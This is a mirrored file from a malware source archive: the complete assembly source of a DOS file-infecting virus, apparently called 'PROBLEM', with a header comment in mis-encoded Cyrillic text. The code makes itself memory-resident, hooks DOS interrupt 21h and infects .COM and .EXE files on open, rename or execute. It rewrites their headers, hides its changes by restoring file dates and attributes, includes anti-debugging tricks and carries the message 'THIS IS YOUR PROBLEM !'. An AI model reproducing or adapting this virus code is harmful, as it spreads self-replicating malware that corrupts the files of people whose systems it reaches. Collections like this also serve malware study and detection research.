mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
461 lines
9.7 KiB
NASM
461 lines
9.7 KiB
NASM
; ˆá室¨ª í⮣® ¢¨pãá (PROBLEM) ®¡p 㦥 ªã¯«¥®©
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; ¬¨ ¬ 訥 . ‚¥p®ïâ® ®¢ ï ¢ p¨ æ¨ï áâp ë¥ â¥¬ë.
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; ˆ ¥ ¡¥§ ¥â®ç®á⥩ , ® p ¡®â ¥â .
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; €¢â®p ¯®å®¦¥ «î¡¨â á⥪¨ ¨ ¢®®¡é¥ ãá«®¦ïâì
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; ᥡ¥ ¦¨§ì. ˆ ¢®o¡é¥ â â¨âì ¢p¥¬ï .
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; <20>®¤p®¡® ¥ ᬮâp¥«.
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; ‚ ᨫì.
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PAGE 64,132
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;--------------------------------------------------------------------------
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MOD_SIZE EQU (MOD_TOP-START+0Fh)/10h
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ARE_SIZE EQU (ARE_TOP-START+0Fh)/10h
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STK_SIZE EQU (ARE_TOP-START+10h)
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;--------------------------------------------------------------------------
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SEG_C SEGMENT BYTE PUBLIC 'CODE'
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ASSUME CS:SEG_C , DS:SEG_C , SS:SEG_S
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BOOT PROC FAR ;
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START: CALL CALC ;
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CALC: POP SI ;
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SUB SI,(CALC-START) ;
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PUSH DS ;
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MOV AX,3521h ; SAVE INT 21h VECTOR
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INT 21h ;
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CHECK: CLI ;
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MOV WORD PTR CS:VEC_21h+2[SI],ES ;
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MOV WORD PTR CS:VEC_21h [SI],BX ;
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MOV AX,DS ;
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ADD WORD PTR CS:JUMP +3[SI],AX ;
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ADD WORD PTR CS:SSSAVE+1[SI],AX ;
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DEC AX ;
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CHECJ: JMP SHORT FIRST ;
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NEXT: CMP BYTE PTR ES:0,4Dh ;
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JNE EXIT ;
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ADD AX,ES:3 ;
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FIRST: MOV ES,AX ; ES TO MCB
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INC AX ;
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CMP BYTE PTR ES:0,5Ah ;
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JNE NEXT ; Jump if NOT equal
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MOV BX,ES:3 ; GOOD MCB CORRECTION
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SUB BX,ARE_SIZE ;
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JC EXIT ; Jump if carry Set
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MOV ES:3,BX ;
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SUB WORD PTR ES:12H,ARE_SIZE ;
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ADD AX,BX ;
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MOV ES,AX ;
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XOR DI,DI ;
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MOV CX,MOD_SIZE*10H+4 ; SIZE OF MOVING CODE
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CLD ;
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REP MOVS BYTE PTR ES:[DI],CS:[SI] ;
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PUSH ES ;
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POP DS ;
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MOV BYTE PTR DS:INT_21h,09Ch ;
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MOV DX,(INT_21h-START) ; SET INT 21h VECTOR
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MOV AX,2521h ;
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INT 21h ;
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EXIT: POP DS ;
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PUSH DS ;
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POP ES ;
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S_SAV1:; MOV WORD PTR DS:100h,0 ;
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JMP SHORT SSSAVE ; SELECTOR
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DB 00,01,00,00 ;
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S_SAV2: MOV WORD PTR DS:102h,0 ;
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S_SAVCH: MOV WORD PTR DS:110h,0 ;
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JMP SHORT OUT_C ;
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SSSAVE: MOV AX,0010h ;
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MOV SS,AX ;
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SPSAVE: MOV SP,(ARE_TOP-START) ;
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OUT_C: XOR AX,AX ;
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JUMP: ; JMP FAR PTR OUEXIT ;
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DB 0EAh ;
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DW (OUEXIT-START),0010h ;
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BOOT ENDP ;
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;----------------------------------------------------------------------------
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C_200 DW 200h
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C_10 DW 10h
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;----------------------------------------------------------------------------
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INT_24h: MOV AL,3 ;
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IRET ;
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;
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INT_21h: PUSHF ;
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PUSH BP ;
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XOR BP,BP ;
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PUSH BP ; DEBUG PROTECTION
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POPF ;
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SUB SP,2 ;
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MOV BYTE PTR CS:RET_I,2Eh ;
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POP BP ;
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CMP BP,0 ;
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JNE EX_INT ;
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CMP AH,3Dh ;
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JNE NEXT_0 ;
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CMP AL,1h ;
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JNE FILE_DO ;
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NEXT_0: CMP AH,56h ;
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JE FILE_DO ;
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CMP AH,4Bh ;
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JNE NEXT_1 ;
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FILE_DO: MOV BP,(EXEC_FIL-CALL1-3) ;
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NEXT_1: CMP AX,3521h ;
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JNE NEXT_2 ;
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MOV BP,(CH_INST -CALL1-3) ;
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NEXT_2: ;
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OR BP,BP ;
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JZ EX_INT ;
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MOV WORD PTR CS:CALL1+1,BP ;
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CMP BP,(EXEC_FIL-START) ;
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JA RET_2 ;
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CALL CALLER ;
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EX_INT: POP BP ;
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POPF ;
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RET_I: JMP DWORD PTR CS:VEC_21h ;
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RET_2: CALL INT_21h ;
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PUSH AX ;
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SAHF ;
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MOV SP,BP ;
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MOV SS:[BP+6],AX ;
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POP AX ;
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CALL CALLER ;
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POP BP ;
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POPF
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IRET ;
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;----------------------------------------------------------------------------
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CALLER PROC NEAR
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MOV CS:SAV_SS,SS ;
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MOV CS:SAV_SP,SP ;
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PUSH CS ;
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POP SS ;
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MOV SP,OFFSET ARE_TOP ;
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PUSH ES ; [BP+16]
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PUSH DS ; [BP+14]
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PUSH DI ; [BP+12]
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PUSH SI ; [BP+10]
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PUSH AX ; [BP+ 8]
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PUSH BX ; [BP+ 4]
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PUSH CX ; [BP+ 2]
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PUSH DX ; [BP ]
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MOV BP,SP ;
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MOV BYTE PTR CS:INT_21h,0CFh ;
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CALL1: CALL EXEC_FIL ;
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MOV BYTE PTR CS:INT_21h,09Ch ;
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POP DX ;
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POP CX ;
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POP BX ;
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POP AX ;
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POP SI ;
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POP DI ;
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POP DS ;
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POP ES ;
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MOV SS,CS:SAV_SS ;
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MOV SP,CS:SAV_SP ;
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RETN
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CALLER ENDP
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;----------------------------------------------------------------------------
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CH_INST PROC NEAR
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LES BX,DWORD PTR CS:SAV_SP
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LES BX,DWORD PTR ES:[BX+6]
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CH_NEX: CMP ES:[BX],2EFAh
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JNE RET_INST
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ADD BYTE PTR ES:[BX+CHECJ-CHECK],(EXIT-FIRST)
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MOV BYTE PTR CS:RET_I,0CFh
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RET_INST: RETN
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CH_INST ENDP
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;----------------------------------------------------------------------------
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EXEC_FIL PROC NEAR ;
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CALL FILE_O ;
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PUSH CS ;
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POP DS ;
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MOV DX,OFFSET Header ; READ HEADER
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MOV CX,20h ;
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CALL READ ;
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MOV AX,ExeSP ; SEE MARK
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MOV WORD PTR SPSAVE+1 ,AX ;
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MOV WORD PTR S_SAVCH+4,AX ;
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SUB AX,ExeIP ;
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CMP AX,STK_SIZE ;
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JE JERR ;
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MOV AL,2 ;
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CALL INT_STR ; Length of file
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CMP DX,3h ; Greate 3*64K ?
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JGE JERR ;
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PUSH AX ;
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MOV AX,HEADER ;
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CMP AX,5A4Dh ;
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JE ALSO ;
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CMP AX,4D5Ah ;
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JE ALSO ;
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MOV WORD PTR S_SAV1+4,AX ;
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MOV WORD PTR S_SAV1,06C7h ;
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XOR AX,AX ;
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MOV WORD PTR JUMP+3,AX ;
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MOV WORD PTR JUMP+1,100h ;
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MOV AX,PartPag ;
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MOV WORD PTR S_SAV2+4,AX ;
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MOV BYTE PTR HEADER,0E9h ;
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POP AX ;
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SUB AX,3h ;
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MOV WORD PTR HEADER+1,AX ;
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JMP SHORT WRITE_F ;
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JERR: RETN ;
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ALSO: MOV WORD PTR S_SAV1,12EBh ;
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MOV AX,ExeIP ;
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MOV WORD PTR JUMP+1,AX ;
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MOV AX,ReloCS ;
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ADD AX,10h ;
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MOV WORD PTR JUMP+3,AX ;
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MOV AX,ReloSS ;
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ADD AX,10h ;
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MOV WORD PTR SSSAVE+1,AX ;
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POP AX ;
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MOV DI,DX ;
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MOV SI,AX ;
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ADD AX,OFFSET MOD_TOP ;
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ADC DX,0 ;
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DIV C_200 ;
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INC AX ;
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MOV PageCnt,AX ;
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MOV PartPag,DX ; New
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MOV AX,HdrSize ;
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MUL C_10 ;
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XCHG DX,DI ;
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XCHG AX,SI ;
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SUB AX,SI ;
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SBB DX,DI ;
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DIV C_10 ;
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MOV ExeIP,DX ;
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MOV ReloCS,AX ;
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MOV ReloSS,AX ;
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INC MinMem ;
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;....
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WRITE_F:
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MOV AX,ExeIP ;
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ADD AX,STK_SIZE ;
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MOV ExeSP,AX ;
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XOR DX,DX ;
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MOV CX,OFFSET MOD_TOP ;
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CALL WRITE ;
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XOR AL,AL ;
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CALL INT_STR ;
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MOV DX,OFFSET HEADER ;
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MOV CX,20h ;
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CALL WRITE ;
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RETN ;
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EXEC_FIL ENDP
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;----------------------------------------------------------------------------
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; FILE DS:DX OPEN/CLOSE ROUTINE
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;----------------------------------------------------------------------------
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DOIT PROC NEAR
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LODSB
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CMP AL,'a'
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JB J1
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SUB AL,('a'-'A')
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J1: CMP AL,AH
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RETN
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DOIT ENDP
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FILE_O PROC NEAR ;
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POP BX
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PUSH DS
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POP ES
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MOV DI,DX
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MOV AL,'.'
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MOV CX,100h
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REPNE SCASB
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JNE ABORT
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MOV SI,DI
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MOV AH,'C'
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CALL DOIT
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JNE N_EXE
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C_2: MOV AH,'O'
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CALL DOIT
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JNE N_EXE
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C_3: MOV AH,'M'
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CALL DOIT
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JE CONTIN
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N_EXE: MOV SI,DI
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MOV AH,'E'
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CALL DOIT
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JNE ABORT
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E_2: MOV AH,'X'
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CALL DOIT
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JNE ABORT
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E_3: MOV AH,'E'
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CALL DOIT
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JE CONTIN
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ABORT: RETN
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CONTIN:
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MOV WORD PTR CS:EXEC_P,BX ;
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MOV SI,DX ;
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MOV AX,3300h ; STORE C/BREAK
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CALL INT_21 ;
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PUSH DX ;
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MOV AX,3301h ; SET C/BREAK
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PUSH AX
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XOR DL,DL ;
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CALL INT_21 ;
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MOV AX,3524h ; SAVE INT 24h VECTOR
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CALL INT_21 ; TO ES:BX
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PUSH ES ;
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PUSH BX ;
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PUSH DS ;
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PUSH CS ;
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POP DS ;
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MOV DX,(INT_24h-START) ; SET INT 24h VECTOR
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MOV AX,2524h ; TO DS:DX
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CALL INT_21 ;
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POP DS ;
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MOV AH,54h ; STORE RETRY NUM
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CALL INT_21 ;
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PUSH AX ;
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MOV AX,2E00h ; CLEAR RETRY NUM
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CALL INT_21 ;
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MOV DX,1
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CALL RETRY
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MOV DX,SI ;
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PUSH DS ;
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PUSH DX ;
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MOV AX,4300h ; STORE FILE ATRIBUTES
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CALL INT_21 ;
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PUSH CX ;
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TEST CL,1 ;
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JZ SKIP1 ;
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MOV AX,4301h ; SET FILE ATRIBUTES
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XOR CX,CX ;
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CALL INT_21 ;
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JC SKIP2 ;
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SKIP1: MOV AX,3D02h ; OPEN IN
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CALL INT_21 ; R/W MODE
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JC SKIP2 ;
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MOV WORD PTR CS:INT_HAN+1,AX ; STORE HANDLE
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MOV AX,5700h ; STORE DATE&TIME
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CALL INT_HAN ;
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PUSH CX ;
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PUSH DX ;
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CALL WORD PTR CS:EXEC_P ; CALL USER FILE_0
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POP DX ;
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POP CX ;
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MOV AX,5701h ; RESET DATA&TIME
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CALL INT_HAN ;
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MOV AH,3Eh ; CLOSE FILE
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CALL INT_HAN ;
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SKIP2: POP CX ;
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POP DX ;
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POP DS ;
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XOR CH,CH ;
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TEST CL,1 ;
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JZ SKIP3 ;
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MOV AX,4301h ; RESET FILE ATTRIBUTES
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CALL INT_21 ;
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SKIP3:
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MOV DX,3
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CALL RETRY
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POP AX ; SET RETRY NUM
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MOV AH,2Eh ;
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CALL INT_21 ;
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POP DX ;
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POP DS ;
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MOV AX,2524h ;
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CALL INT_21 ;
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POP AX
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POP DX ;
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CALL INT_21 ;
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EXIT_O: RETN ;
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FILE_O ENDP ;
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;---------------------------------------------------------------------------
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;
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IO PROC NEAR ;
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READ: MOV AH,3Fh ; READ ROUTINE
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JMP SHORT L_IO ;
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WRITE: MOV AH,40h ; WRITE ROUTINE
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L_IO: CALL INT_HAN ;
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JC ERR_IO ;
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CMP AX,CX ;
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JNC RET_IO ;
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ERR_IO: POP AX ;
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RET_IO: RETN ;
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IO ENDP ;
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;
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SERVICE PROC NEAR ; INT 21h EMULATOR
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RETRY: MOV AX,440Bh ;
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MOV CX,1 ;
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JMP SHORT INT_21 ;
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INT_STR: XOR CX,CX ; POINTER TO START
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XOR DX,DX ;
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INT_SET: MOV AH,42h ; SET FILE POINTER
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INT_HAN: MOV BX,0 ; FILE HANDLE
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INT_21: PUSHF ; PUSH FLAGS
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CLI ; DISABLE INTERRUPT
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CALL DWORD PTR CS:VEC_21h ; INT 21
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RETN ; RETURN
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SERVICE ENDP ;
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DB 'THIS IS YOUR PROBLEM !'
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;
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;---------------------------------------------------------------------------
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MOD_TOP:
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VEC_21h DD 0
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VEC_24h DD 0
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EXEC_P DW 0
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SAV_BP DW 0
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SAV_SP DW 0
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SAV_SS DW 0
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Header DW 0 ;
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PartPag DW 0
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PageCnt DW 0
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ReloCnt DW 0
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HdrSize DW 0
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MinMem DW 0
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MaxMem DW 0
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ReloSS DW 0
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ExeSP DW 0
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ChkSum DW 0
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ExeIP DW 0
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ReloCS DW 0
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TablOff DW 0
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Overlay DW 0
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SizForm DW 0
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STACK_ARE DB 100 DUP(?)
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ARE_TOP:
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OUEXIT: MOV AH,4Ch ;
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INT 21h ;
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SEG_C ENDS
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SEG_S SEGMENT BYTE STACK
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DW 20 DUP (?)
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SEG_S ENDS
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END START
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